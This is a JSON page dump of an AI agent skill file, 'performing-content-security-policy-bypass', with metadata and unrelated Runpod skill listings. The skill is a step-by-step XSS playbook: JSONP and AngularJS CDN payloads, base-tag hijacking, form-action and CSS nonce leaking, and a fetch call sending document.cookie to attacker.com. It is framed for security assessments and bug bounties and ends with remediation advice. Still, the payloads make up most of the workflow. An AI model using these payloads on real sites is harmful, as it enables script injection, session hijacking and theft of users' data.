[{"data":1,"prerenderedAt":-1},["ShallowReactive",2],{"skill:01M7A9S78VB9G3WK1RJSNC064F":3,"skill-same:01M7A9S78VB9G3WK1RJSNC064F":85},{"skillNo":4,"name":5,"nameZh":6,"description":7,"descriptionZh":6,"repositoryFullName":8,"ownerLogin":9,"ownerAvatarUrl":10,"ownerAccountNo":11,"ownerDisplayName":12,"repositoryNo":13,"starsCount":14,"licenseSpdxId":15,"licenseFileUrl":16,"sourceHtmlUrl":17,"categories":18,"keywords":19,"publishedAt":20,"linkOnly":21,"markdownContent":22,"markdownBody":23,"frontMatter":24,"refName":48,"commitSha":49,"skillDirectory":50,"forksCount":14,"repositoryHtmlUrl":51,"repositoryHomepageUrl":6,"ownerHtmlUrl":52,"ownerBlogUrl":6,"ownerDescription":53,"updatedAt":54,"install":55,"resources":68},"01M7A9S78VB9G3WK1RJSNC064F","performing-content-security-policy-bypass",null,"Analyze Content-Security-Policy headers and bypass them to achieve cross-site scripting by exploiting unsafe-inline\u002Funsafe-eval, whitelisted JSONP endpoints, base-uri and form-action gaps, and nonce\u002Fhash weaknesses, then exfiltrate data even without script-src control. Use during web application security assessments or bug bounty hunting when XSS is found but blocked by CSP, or when auditing CSP header configuration for weaknesses.","NeelakshSaxena\u002FVayu","NeelakshSaxena","https:\u002F\u002Favatars.githubusercontent.com\u002Fu\u002F87892838?v=4","01M7A3B9YFS6F6N9DD1787DT86","Neelaksh Saxena","01M7A3B9ZKBT09MNMPX2XN69BY",0,"Apache-2.0","https:\u002F\u002Fgithub.com\u002FNeelakshSaxena\u002FVayu\u002Fblob\u002Fmain\u002F.agents\u002Fskills\u002Fperforming-content-security-policy-bypass\u002FLICENSE","https:\u002F\u002Fgithub.com\u002FNeelakshSaxena\u002FVayu\u002Fblob\u002Fmain\u002F.agents\u002Fskills\u002Fperforming-content-security-policy-bypass\u002FSKILL.md",[],[],"2026-11-15 14:19:17",false,"---\nname: performing-content-security-policy-bypass\ndescription: Analyze Content-Security-Policy headers and bypass them to achieve cross-site\n  scripting by exploiting unsafe-inline\u002Funsafe-eval, whitelisted JSONP endpoints, base-uri\n  and form-action gaps, and nonce\u002Fhash weaknesses, then exfiltrate data even without\n  script-src control. Use during web application security assessments or bug bounty\n  hunting when XSS is found but blocked by CSP, or when auditing CSP header configuration\n  for weaknesses.\ndomain: cybersecurity\nsubdomain: web-application-security\ntags:\n- csp-bypass\n- content-security-policy\n- xss\n- script-injection\n- nonce-bypass\n- jsonp\n- policy-misconfiguration\nversion: '1.0'\nauthor: mahipal\nlicense: Apache-2.0\nnist_csf:\n- PR.PS-01\n- ID.RA-01\n- PR.DS-10\n- DE.CM-01\nmitre_attack:\n- T1190\n- T1059.007\n- T1505.003\n- T1083\n- T1055\n---\n\n# Performing Content Security Policy Bypass\n\n## When to Use\n- When XSS is found but execution is blocked by Content Security Policy\n- During web application security assessments to evaluate CSP effectiveness\n- When testing the robustness of CSP against known bypass techniques\n- During bug bounty hunting where CSP prevents direct XSS exploitation\n- When auditing CSP header configuration for security weaknesses\n\n## Prerequisites\n- Burp Suite for intercepting responses and analyzing CSP headers\n- CSP Evaluator (Google) for automated policy analysis\n- Understanding of CSP directives (script-src, default-src, style-src, etc.)\n- Knowledge of CSP bypass techniques (JSONP, base-uri, object-src)\n- Browser developer tools for CSP violation monitoring\n- Collection of whitelisted domain JSONP endpoints\n\n## Workflow\n\n### Step 1 — Analyze the CSP Policy\n```bash\n# Extract CSP from response headers\ncurl -sI http:\u002F\u002Ftarget.com | grep -i \"content-security-policy\"\n\n# Check for CSP in meta tags\ncurl -s http:\u002F\u002Ftarget.com | grep -i \"content-security-policy\"\n\n# Analyze CSP with Google CSP Evaluator\n# Visit: https:\u002F\u002Fcsp-evaluator.withgoogle.com\u002F\n# Paste the CSP policy for automated analysis\n\n# Check for report-only mode (not enforced)\ncurl -sI http:\u002F\u002Ftarget.com | grep -i \"content-security-policy-report-only\"\n# If only report-only exists, CSP is NOT enforced - XSS works directly\n\n# Parse directive values\n# Example CSP:\n# script-src 'self' 'unsafe-inline' https:\u002F\u002Fcdn.example.com;\n# default-src 'self'; style-src 'self' 'unsafe-inline';\n# img-src *; connect-src 'self'\n```\n\n### Step 2 — Exploit unsafe-inline and unsafe-eval\n```bash\n# If script-src includes 'unsafe-inline':\n# CSP is effectively bypassed for inline scripts\n\u003Cscript>alert(document.domain)\u003C\u002Fscript>\n\u003Cimg src=x onerror=\"alert(1)\">\n\n# If script-src includes 'unsafe-eval':\n# eval() and related functions work\n\u003Cscript>eval('alert(1)')\u003C\u002Fscript>\n\u003Cscript>setTimeout('alert(1)',0)\u003C\u002Fscript>\n\u003Cscript>new Function('alert(1)')()\u003C\u002Fscript>\n\n# If 'unsafe-inline' with nonce:\n# unsafe-inline is ignored when nonce is present (CSP3)\n# Focus on nonce leaking instead\n```\n\n### Step 3 — Exploit Whitelisted Domain JSONP Endpoints\n```bash\n# If CSP whitelists a domain with JSONP endpoints:\n# script-src 'self' https:\u002F\u002Faccounts.google.com\n\n# Find JSONP endpoints on whitelisted domains\n# Google:\n\u003Cscript src=\"https:\u002F\u002Faccounts.google.com\u002Fo\u002Foauth2\u002Frevoke?callback=alert(1)\">\u003C\u002Fscript>\n\n# Common JSONP endpoints:\n# https:\u002F\u002Fwww.google.com\u002Fcomplete\u002Fsearch?client=chrome&q=test&callback=alert(1)\u002F\u002F\n# https:\u002F\u002Fcdnjs.cloudflare.com\u002Fajax\u002Flibs\u002Fangular.js\u002F1.6.0\u002Fangular.min.js\n\n# If AngularJS is whitelisted (CDN):\n# script-src includes cdnjs.cloudflare.com or ajax.googleapis.com\n\u003Cscript src=\"https:\u002F\u002Fcdnjs.cloudflare.com\u002Fajax\u002Flibs\u002Fangular.js\u002F1.6.0\u002Fangular.min.js\">\u003C\u002Fscript>\n\u003Cdiv ng-app ng-csp>{{$eval.constructor('alert(1)')()}}\u003C\u002Fdiv>\n\n# Exploit JSONP on whitelisted APIs\n\u003Cscript src=\"https:\u002F\u002Fwhitelisted-api.com\u002Fendpoint?callback=alert(1)\u002F\u002F\">\n\u003C\u002Fscript>\n```\n\n### Step 4 — Exploit base-uri and Form Action Bypasses\n```bash\n# If base-uri is not restricted:\n# Inject \u003Cbase> tag to redirect relative script loads\n\u003Cbase href=\"https:\u002F\u002Fattacker.com\u002F\">\n# All relative script src will load from attacker.com\n\n# If form-action is not restricted:\n# Steal data via form submission\n\u003Cform action=\"https:\u002F\u002Fattacker.com\u002Fsteal\" method=\"POST\">\n  \u003Cinput name=\"csrf_token\" value=\"\">\n\u003C\u002Fform>\n\u003Cscript>document.forms[0].submit()\u003C\u002Fscript>\n\n# If object-src is not restricted:\n# Use Flash or plugin-based XSS\n\u003Cobject data=\"https:\u002F\u002Fattacker.com\u002Fexploit.swf\">\u003C\u002Fobject>\n\u003Cembed src=\"https:\u002F\u002Fattacker.com\u002Fexploit.swf\">\n```\n\n### Step 5 — Exploit Nonce and Hash Bypasses\n```bash\n# Nonce leaking via CSS attribute selectors\n# If attacker can inject HTML (but not script due to CSP nonce):\n\u003Cstyle>\n  script[nonce^=\"a\"] { background: url(\"https:\u002F\u002Fattacker.com\u002Fleak?nonce=a\"); }\n  script[nonce^=\"b\"] { background: url(\"https:\u002F\u002Fattacker.com\u002Fleak?nonce=b\"); }\n\u003C\u002Fstyle>\n# Brute-force each character position to leak the nonce\n\n# Nonce reuse detection\n# If the same nonce is used across multiple pages or requests:\n# Capture nonce from one page, use it to inject script on another\n\n# DOM clobbering to override nonce checking\n\u003Cform id=\"csp\">\u003Cinput name=\"nonce\" value=\"attacker-controlled\">\u003C\u002Fform>\n\n# Script gadgets in whitelisted libraries\n# If a whitelisted JS library has a gadget that creates scripts:\n# jQuery: $.getScript(), $.globalEval()\n# Lodash: _.template()\n# DOMPurify bypass via prototype pollution\n\n# Policy injection via reflected parameters\n# If CSP header reflects user input:\n# Inject: ;script-src 'unsafe-inline'\n# Or inject: ;report-uri \u002Fcsp-report;script-src-elem 'unsafe-inline'\n```\n\n### Step 6 — Exploit Data Exfiltration Without script-src\n```bash\n# Even without script execution, data exfiltration is possible:\n\n# Via img-src (if allows external):\n\u003Cimg src=\"https:\u002F\u002Fattacker.com\u002Fsteal?data=SENSITIVE_DATA\">\n\n# Via CSS injection (if style-src allows unsafe-inline):\n\u003Cstyle>\ninput[value^=\"a\"] { background: url(\"https:\u002F\u002Fattacker.com\u002F?char=a\"); }\ninput[value^=\"b\"] { background: url(\"https:\u002F\u002Fattacker.com\u002F?char=b\"); }\n\u003C\u002Fstyle>\n\n# Via connect-src (if allows external):\n\u003Cscript nonce=\"valid\">\n  fetch('https:\u002F\u002Fattacker.com\u002Fsteal?data=' + document.cookie);\n\u003C\u002Fscript>\n\n# Via DNS prefetch:\n\u003Clink rel=\"dns-prefetch\" href=\"\u002F\u002Fdata.attacker.com\">\n\n# Via WebRTC (if not blocked):\n# WebRTC can leak data through STUN\u002FTURN servers\n```\n\n## Key Concepts\n\n| Concept | Description |\n|---------|-------------|\n| unsafe-inline | CSP directive allowing inline script execution, defeating XSS protection |\n| Nonce-based CSP | Using random nonces to allow specific scripts while blocking injected ones |\n| JSONP Bypass | Exploiting JSONP endpoints on whitelisted domains to execute attacker callbacks |\n| Policy Injection | Injecting CSP directives through reflected user input in headers |\n| base-uri Hijacking | Redirecting relative script loads by injecting a base element |\n| Script Gadgets | Legitimate library features that can be abused to bypass CSP |\n| CSP Report-Only | Non-enforcing CSP mode that only logs violations without blocking |\n\n## Tools & Systems\n\n| Tool | Purpose |\n|------|---------|\n| CSP Evaluator | Google tool for analyzing CSP policy weaknesses |\n| Burp Suite | HTTP proxy for CSP header analysis and bypass testing |\n| CSP Scanner | Browser extension for identifying CSP bypass opportunities |\n| csp-bypass | Curated list of CSP bypass techniques and payloads |\n| RetireJS | Identify vulnerable JavaScript libraries on whitelisted CDNs |\n| DOM Invader | Burp tool for testing CSP bypasses through DOM manipulation |\n\n## Common Scenarios\n\n1. **JSONP Callback XSS** — Exploit JSONP endpoints on whitelisted CDN domains to execute JavaScript callbacks containing XSS payloads\n2. **AngularJS Sandbox Escape** — Load AngularJS from whitelisted CDN and use template injection to bypass CSP script restrictions\n3. **Nonce Leakage** — Extract CSP nonce values through CSS injection or DOM clobbering to inject scripts with valid nonces\n4. **Base URI Hijacking** — Inject base element to redirect all relative script loads to attacker-controlled server\n5. **Report-Only Exploitation** — Identify CSP in report-only mode where violations are logged but not blocked, enabling direct XSS\n\n## Output Format\n\n```\n## CSP Bypass Assessment Report\n- **Target**: http:\u002F\u002Ftarget.com\n- **CSP Mode**: Enforced\n- **Policy**: script-src 'self' https:\u002F\u002Fcdn.jsdelivr.net; default-src 'self'\n\n### CSP Analysis\n| Directive | Value | Risk |\n|-----------|-------|------|\n| script-src | 'self' cdn.jsdelivr.net | JSONP\u002FLibrary bypass possible |\n| default-src | 'self' | Moderate |\n| base-uri | Not set | base-uri hijacking possible |\n| object-src | Not set (falls back to default-src) | Low |\n\n### Bypass Techniques Found\n| # | Technique | Payload | Impact |\n|---|-----------|---------|--------|\n| 1 | AngularJS via CDN | Load angular.min.js + template injection | Full XSS |\n| 2 | Missing base-uri | \u003Cbase href=\"https:\u002F\u002Fevil.com\u002F\"> | Script hijack |\n\n### Remediation\n- Remove whitelisted CDN domains; use nonce-based or hash-based CSP\n- Add base-uri 'self' to prevent base element injection\n- Add object-src 'none' to block plugin-based execution\n- Migrate from unsafe-inline to strict nonce-based policy\n- Implement strict-dynamic for modern CSP3 browsers\n```\n","# Performing Content Security Policy Bypass\n\n## When to Use\n- When XSS is found but execution is blocked by Content Security Policy\n- During web application security assessments to evaluate CSP effectiveness\n- When testing the robustness of CSP against known bypass techniques\n- During bug bounty hunting where CSP prevents direct XSS exploitation\n- When auditing CSP header configuration for security weaknesses\n\n## Prerequisites\n- Burp Suite for intercepting responses and analyzing CSP headers\n- CSP Evaluator (Google) for automated policy analysis\n- Understanding of CSP directives (script-src, default-src, style-src, etc.)\n- Knowledge of CSP bypass techniques (JSONP, base-uri, object-src)\n- Browser developer tools for CSP violation monitoring\n- Collection of whitelisted domain JSONP endpoints\n\n## Workflow\n\n### Step 1 — Analyze the CSP Policy\n```bash\n# Extract CSP from response headers\ncurl -sI http:\u002F\u002Ftarget.com | grep -i \"content-security-policy\"\n\n# Check for CSP in meta tags\ncurl -s http:\u002F\u002Ftarget.com | grep -i \"content-security-policy\"\n\n# Analyze CSP with Google CSP Evaluator\n# Visit: https:\u002F\u002Fcsp-evaluator.withgoogle.com\u002F\n# Paste the CSP policy for automated analysis\n\n# Check for report-only mode (not enforced)\ncurl -sI http:\u002F\u002Ftarget.com | grep -i \"content-security-policy-report-only\"\n# If only report-only exists, CSP is NOT enforced - XSS works directly\n\n# Parse directive values\n# Example CSP:\n# script-src 'self' 'unsafe-inline' https:\u002F\u002Fcdn.example.com;\n# default-src 'self'; style-src 'self' 'unsafe-inline';\n# img-src *; connect-src 'self'\n```\n\n### Step 2 — Exploit unsafe-inline and unsafe-eval\n```bash\n# If script-src includes 'unsafe-inline':\n# CSP is effectively bypassed for inline scripts\n\u003Cscript>alert(document.domain)\u003C\u002Fscript>\n\u003Cimg src=x onerror=\"alert(1)\">\n\n# If script-src includes 'unsafe-eval':\n# eval() and related functions work\n\u003Cscript>eval('alert(1)')\u003C\u002Fscript>\n\u003Cscript>setTimeout('alert(1)',0)\u003C\u002Fscript>\n\u003Cscript>new Function('alert(1)')()\u003C\u002Fscript>\n\n# If 'unsafe-inline' with nonce:\n# unsafe-inline is ignored when nonce is present (CSP3)\n# Focus on nonce leaking instead\n```\n\n### Step 3 — Exploit Whitelisted Domain JSONP Endpoints\n```bash\n# If CSP whitelists a domain with JSONP endpoints:\n# script-src 'self' https:\u002F\u002Faccounts.google.com\n\n# Find JSONP endpoints on whitelisted domains\n# Google:\n\u003Cscript src=\"https:\u002F\u002Faccounts.google.com\u002Fo\u002Foauth2\u002Frevoke?callback=alert(1)\">\u003C\u002Fscript>\n\n# Common JSONP endpoints:\n# https:\u002F\u002Fwww.google.com\u002Fcomplete\u002Fsearch?client=chrome&q=test&callback=alert(1)\u002F\u002F\n# https:\u002F\u002Fcdnjs.cloudflare.com\u002Fajax\u002Flibs\u002Fangular.js\u002F1.6.0\u002Fangular.min.js\n\n# If AngularJS is whitelisted (CDN):\n# script-src includes cdnjs.cloudflare.com or ajax.googleapis.com\n\u003Cscript src=\"https:\u002F\u002Fcdnjs.cloudflare.com\u002Fajax\u002Flibs\u002Fangular.js\u002F1.6.0\u002Fangular.min.js\">\u003C\u002Fscript>\n\u003Cdiv ng-app ng-csp>{{$eval.constructor('alert(1)')()}}\u003C\u002Fdiv>\n\n# Exploit JSONP on whitelisted APIs\n\u003Cscript src=\"https:\u002F\u002Fwhitelisted-api.com\u002Fendpoint?callback=alert(1)\u002F\u002F\">\n\u003C\u002Fscript>\n```\n\n### Step 4 — Exploit base-uri and Form Action Bypasses\n```bash\n# If base-uri is not restricted:\n# Inject \u003Cbase> tag to redirect relative script loads\n\u003Cbase href=\"https:\u002F\u002Fattacker.com\u002F\">\n# All relative script src will load from attacker.com\n\n# If form-action is not restricted:\n# Steal data via form submission\n\u003Cform action=\"https:\u002F\u002Fattacker.com\u002Fsteal\" method=\"POST\">\n  \u003Cinput name=\"csrf_token\" value=\"\">\n\u003C\u002Fform>\n\u003Cscript>document.forms[0].submit()\u003C\u002Fscript>\n\n# If object-src is not restricted:\n# Use Flash or plugin-based XSS\n\u003Cobject data=\"https:\u002F\u002Fattacker.com\u002Fexploit.swf\">\u003C\u002Fobject>\n\u003Cembed src=\"https:\u002F\u002Fattacker.com\u002Fexploit.swf\">\n```\n\n### Step 5 — Exploit Nonce and Hash Bypasses\n```bash\n# Nonce leaking via CSS attribute selectors\n# If attacker can inject HTML (but not script due to CSP nonce):\n\u003Cstyle>\n  script[nonce^=\"a\"] { background: url(\"https:\u002F\u002Fattacker.com\u002Fleak?nonce=a\"); }\n  script[nonce^=\"b\"] { background: url(\"https:\u002F\u002Fattacker.com\u002Fleak?nonce=b\"); }\n\u003C\u002Fstyle>\n# Brute-force each character position to leak the nonce\n\n# Nonce reuse detection\n# If the same nonce is used across multiple pages or requests:\n# Capture nonce from one page, use it to inject script on another\n\n# DOM clobbering to override nonce checking\n\u003Cform id=\"csp\">\u003Cinput name=\"nonce\" value=\"attacker-controlled\">\u003C\u002Fform>\n\n# Script gadgets in whitelisted libraries\n# If a whitelisted JS library has a gadget that creates scripts:\n# jQuery: $.getScript(), $.globalEval()\n# Lodash: _.template()\n# DOMPurify bypass via prototype pollution\n\n# Policy injection via reflected parameters\n# If CSP header reflects user input:\n# Inject: ;script-src 'unsafe-inline'\n# Or inject: ;report-uri \u002Fcsp-report;script-src-elem 'unsafe-inline'\n```\n\n### Step 6 — Exploit Data Exfiltration Without script-src\n```bash\n# Even without script execution, data exfiltration is possible:\n\n# Via img-src (if allows external):\n\u003Cimg src=\"https:\u002F\u002Fattacker.com\u002Fsteal?data=SENSITIVE_DATA\">\n\n# Via CSS injection (if style-src allows unsafe-inline):\n\u003Cstyle>\ninput[value^=\"a\"] { background: url(\"https:\u002F\u002Fattacker.com\u002F?char=a\"); }\ninput[value^=\"b\"] { background: url(\"https:\u002F\u002Fattacker.com\u002F?char=b\"); }\n\u003C\u002Fstyle>\n\n# Via connect-src (if allows external):\n\u003Cscript nonce=\"valid\">\n  fetch('https:\u002F\u002Fattacker.com\u002Fsteal?data=' + document.cookie);\n\u003C\u002Fscript>\n\n# Via DNS prefetch:\n\u003Clink rel=\"dns-prefetch\" href=\"\u002F\u002Fdata.attacker.com\">\n\n# Via WebRTC (if not blocked):\n# WebRTC can leak data through STUN\u002FTURN servers\n```\n\n## Key Concepts\n\n| Concept | Description |\n|---------|-------------|\n| unsafe-inline | CSP directive allowing inline script execution, defeating XSS protection |\n| Nonce-based CSP | Using random nonces to allow specific scripts while blocking injected ones |\n| JSONP Bypass | Exploiting JSONP endpoints on whitelisted domains to execute attacker callbacks |\n| Policy Injection | Injecting CSP directives through reflected user input in headers |\n| base-uri Hijacking | Redirecting relative script loads by injecting a base element |\n| Script Gadgets | Legitimate library features that can be abused to bypass CSP |\n| CSP Report-Only | Non-enforcing CSP mode that only logs violations without blocking |\n\n## Tools & Systems\n\n| Tool | Purpose |\n|------|---------|\n| CSP Evaluator | Google tool for analyzing CSP policy weaknesses |\n| Burp Suite | HTTP proxy for CSP header analysis and bypass testing |\n| CSP Scanner | Browser extension for identifying CSP bypass opportunities |\n| csp-bypass | Curated list of CSP bypass techniques and payloads |\n| RetireJS | Identify vulnerable JavaScript libraries on whitelisted CDNs |\n| DOM Invader | Burp tool for testing CSP bypasses through DOM manipulation |\n\n## Common Scenarios\n\n1. **JSONP Callback XSS** — Exploit JSONP endpoints on whitelisted CDN domains to execute JavaScript callbacks containing XSS payloads\n2. **AngularJS Sandbox Escape** — Load AngularJS from whitelisted CDN and use template injection to bypass CSP script restrictions\n3. **Nonce Leakage** — Extract CSP nonce values through CSS injection or DOM clobbering to inject scripts with valid nonces\n4. **Base URI Hijacking** — Inject base element to redirect all relative script loads to attacker-controlled server\n5. **Report-Only Exploitation** — Identify CSP in report-only mode where violations are logged but not blocked, enabling direct XSS\n\n## Output Format\n\n```\n## CSP Bypass Assessment Report\n- **Target**: http:\u002F\u002Ftarget.com\n- **CSP Mode**: Enforced\n- **Policy**: script-src 'self' https:\u002F\u002Fcdn.jsdelivr.net; default-src 'self'\n\n### CSP Analysis\n| Directive | Value | Risk |\n|-----------|-------|------|\n| script-src | 'self' cdn.jsdelivr.net | JSONP\u002FLibrary bypass possible |\n| default-src | 'self' | Moderate |\n| base-uri | Not set | base-uri hijacking possible |\n| object-src | Not set (falls back to default-src) | Low |\n\n### Bypass Techniques Found\n| # | Technique | Payload | Impact |\n|---|-----------|---------|--------|\n| 1 | AngularJS via CDN | Load angular.min.js + template injection | Full XSS |\n| 2 | Missing base-uri | \u003Cbase href=\"https:\u002F\u002Fevil.com\u002F\"> | Script hijack |\n\n### Remediation\n- Remove whitelisted CDN domains; use nonce-based or hash-based CSP\n- Add base-uri 'self' to prevent base element injection\n- Add object-src 'none' to block plugin-based execution\n- Migrate from unsafe-inline to strict nonce-based policy\n- Implement strict-dynamic for modern CSP3 browsers\n```\n",{"name":5,"tags":25,"author":33,"domain":34,"license":15,"version":35,"nist_csf":36,"subdomain":41,"description":7,"mitre_attack":42},[26,27,28,29,30,31,32],"csp-bypass","content-security-policy","xss","script-injection","nonce-bypass","jsonp","policy-misconfiguration","mahipal","cybersecurity","1.0",[37,38,39,40],"PR.PS-01","ID.RA-01","PR.DS-10","DE.CM-01","web-application-security",[43,44,45,46,47],"T1190","T1059.007","T1505.003","T1083","T1055","main","7540bbccf0c1ded6156a467b02c95b61ad62413f",".agents\u002Fskills\u002Fperforming-content-security-policy-bypass","https:\u002F\u002Fgithub.com\u002FNeelakshSaxena\u002FVayu","https:\u002F\u002Fgithub.com\u002FNeelakshSaxena","Currently exploring the intersection of tech","2026-09-11 03:02:31",{"source":8,"skillName":5,"commands":56,"prompt":66,"zipAvailable":67},[57,60,63],{"tool":58,"command":59},"npx","npx skills add NeelakshSaxena\u002FVayu --skill performing-content-security-policy-bypass",{"tool":61,"command":62},"bunx","bunx skills add NeelakshSaxena\u002FVayu --skill performing-content-security-policy-bypass",{"tool":64,"command":65},"pnpm","pnpm dlx skills add NeelakshSaxena\u002FVayu --skill performing-content-security-policy-bypass","安装技能，技能地址：https:\u002F\u002Fgithub.com\u002FNeelakshSaxena\u002FVayu\u002Fblob\u002Fmain\u002F.agents\u002Fskills\u002Fperforming-content-security-policy-bypass\u002FSKILL.md",true,[69,73,79],{"path":70,"resourceType":70,"resourceTypeDesc":71,"sizeBytes":72,"sourceHtmlUrl":16},"LICENSE","许可证",11255,{"path":74,"resourceType":75,"resourceTypeDesc":76,"sizeBytes":77,"sourceHtmlUrl":78},"references\u002Fapi-reference.md","REFERENCE","参考文档",6611,"https:\u002F\u002Fgithub.com\u002FNeelakshSaxena\u002FVayu\u002Fblob\u002Fmain\u002F.agents\u002Fskills\u002Fperforming-content-security-policy-bypass\u002Freferences\u002Fapi-reference.md",{"path":80,"resourceType":81,"resourceTypeDesc":82,"sizeBytes":83,"sourceHtmlUrl":84},"scripts\u002Fagent.py","SCRIPT","脚本",11240,"https:\u002F\u002Fgithub.com\u002FNeelakshSaxena\u002FVayu\u002Fblob\u002Fmain\u002F.agents\u002Fskills\u002Fperforming-content-security-policy-bypass\u002Fscripts\u002Fagent.py",[86,93,100,107,114,121],{"skillNo":87,"name":88,"nameZh":6,"description":89,"descriptionZh":6,"repositoryFullName":8,"ownerLogin":9,"ownerAvatarUrl":10,"ownerAccountNo":11,"ownerDisplayName":12,"repositoryNo":13,"starsCount":14,"licenseSpdxId":15,"licenseFileUrl":6,"sourceHtmlUrl":90,"categories":91,"keywords":92,"publishedAt":20},"01M7ACCCVNCFKMA9X6D15X6G98","runpodctl","Runpod CLI for managing GPU\u002FCPU workloads from the terminal — pods, serverless endpoints, templates, network volumes, Hub deploys, models, SSH, and file transfer (send\u002Freceive). Use for terminal\u002FCI\u002Fscripting, Hub browse\u002Fdeploy, SSH setup, `doctor`, or when the Runpod MCP tools are not connected. For structured tool calls in an MCP-enabled session, prefer runpod-mcp.","https:\u002F\u002Fgithub.com\u002FNeelakshSaxena\u002FVayu\u002Fblob\u002Fmain\u002F.claude\u002Fskills\u002Frunpodctl\u002FSKILL.md",[],[],{"skillNo":94,"name":95,"nameZh":6,"description":96,"descriptionZh":6,"repositoryFullName":8,"ownerLogin":9,"ownerAvatarUrl":10,"ownerAccountNo":11,"ownerDisplayName":12,"repositoryNo":13,"starsCount":14,"licenseSpdxId":15,"licenseFileUrl":6,"sourceHtmlUrl":97,"categories":98,"keywords":99,"publishedAt":20},"01M7ACC63SRHEA5KMCHSMZK2TC","runpod","Start here for any Runpod task — running GPU\u002FCPU pods, deploying serverless endpoints, templates, network volumes, building images, or understanding how Runpod works. Routes to the right skill (runpod-mcp, runpodctl, flash, companion-clis, runpod-usage, runpod-templates, runpod-migrate) and indexes two dozen live-verified end-to-end examples (golden paths) — use it when the lane is unclear, and for any multi-step or provisioning task even when it is not.","https:\u002F\u002Fgithub.com\u002FNeelakshSaxena\u002FVayu\u002Fblob\u002Fmain\u002F.claude\u002Fskills\u002Frunpod\u002FSKILL.md",[],[],{"skillNo":101,"name":102,"nameZh":6,"description":103,"descriptionZh":6,"repositoryFullName":8,"ownerLogin":9,"ownerAvatarUrl":10,"ownerAccountNo":11,"ownerDisplayName":12,"repositoryNo":13,"starsCount":14,"licenseSpdxId":15,"licenseFileUrl":6,"sourceHtmlUrl":104,"categories":105,"keywords":106,"publishedAt":20},"01M7ACC0Q1C89N9BZBV91CTQTF","runpod-usage","How Runpod works and how to work it — pods vs serverless, GPU\u002FVRAM selection, storage, building a container, networking, plus the agentic pod development loop (provision → ssh-exec → set up → poll readiness) and on-pod install hygiene (uv\u002Fapt). Use to answer \"how does X work\", \"which GPU\", \"how do I build a container\", or \"how do I stand up a workload on a pod\". Guidance, not a tool — execute with runpodctl, runpod-mcp, or flash.","https:\u002F\u002Fgithub.com\u002FNeelakshSaxena\u002FVayu\u002Fblob\u002Fmain\u002F.claude\u002Fskills\u002Frunpod-usage\u002FSKILL.md",[],[],{"skillNo":108,"name":109,"nameZh":6,"description":110,"descriptionZh":6,"repositoryFullName":8,"ownerLogin":9,"ownerAvatarUrl":10,"ownerAccountNo":11,"ownerDisplayName":12,"repositoryNo":13,"starsCount":14,"licenseSpdxId":15,"licenseFileUrl":6,"sourceHtmlUrl":111,"categories":112,"keywords":113,"publishedAt":20},"01M7ACBRPE345GF5GM5B8P8RRC","runpod-templates","Runpod's official prebuilt pod templates (ComfyUI, PyTorch, and others): what each image ships, which ports and paths it uses, how to pick one, how to pin a version, and what is missing on first boot. Use when a task says \"run \u003CX> on a pod\" and an official template already covers it, instead of building an image — and when a user needs help with or wants to fix something about a Runpod template they are already running (won't boot, can't reach the UI, missing models, wrong CUDA line, broken ComfyUI workflow metadata on imported workflows): start here and route onward. Deploy with runpodctl or runpod-mcp; end-to-end walkthroughs live in the runpod router's golden paths.","https:\u002F\u002Fgithub.com\u002FNeelakshSaxena\u002FVayu\u002Fblob\u002Fmain\u002F.claude\u002Fskills\u002Frunpod-templates\u002FSKILL.md",[],[],{"skillNo":115,"name":116,"nameZh":6,"description":117,"descriptionZh":6,"repositoryFullName":8,"ownerLogin":9,"ownerAvatarUrl":10,"ownerAccountNo":11,"ownerDisplayName":12,"repositoryNo":13,"starsCount":14,"licenseSpdxId":15,"licenseFileUrl":6,"sourceHtmlUrl":118,"categories":119,"keywords":120,"publishedAt":20},"01M7ACBJATHKVX1TWES2F44GY8","runpod-migrate","Migrate a codebase from the Runpod GraphQL API or REST v1 to REST v2 — inventory which parts use which API version, rewrite the call sites, flag breaking changes, and verify. Use when someone asks to move to v2, asks what v2 would change, or asks which Runpod API their code is on. For managing infrastructure rather than migrating code, use runpod-mcp or runpodctl.","https:\u002F\u002Fgithub.com\u002FNeelakshSaxena\u002FVayu\u002Fblob\u002Fmain\u002F.claude\u002Fskills\u002Frunpod-migrate\u002FSKILL.md",[],[],{"skillNo":122,"name":123,"nameZh":6,"description":124,"descriptionZh":6,"repositoryFullName":8,"ownerLogin":9,"ownerAvatarUrl":10,"ownerAccountNo":11,"ownerDisplayName":12,"repositoryNo":13,"starsCount":14,"licenseSpdxId":15,"licenseFileUrl":6,"sourceHtmlUrl":125,"categories":126,"keywords":127,"publishedAt":20},"01M7ACBC7GHVH6T9YEAPCG2AP8","runpod-mcp","Manage Runpod infrastructure — pods, serverless endpoints, jobs, templates, network volumes, container-registry auth, GPU\u002FCPU catalog, and billing — via the Runpod MCP server's structured tool calls. Use when the Runpod MCP tools (create-pod, list-endpoints, …) are connected in this session, or to connect them (hosted OAuth or local npx). Prefer this over runpodctl for plain infra CRUD when MCP is available; use runpodctl for the terminal, file transfer, or SSH setup.","https:\u002F\u002Fgithub.com\u002FNeelakshSaxena\u002FVayu\u002Fblob\u002Fmain\u002F.claude\u002Fskills\u002Frunpod-mcp\u002FSKILL.md",[],[]]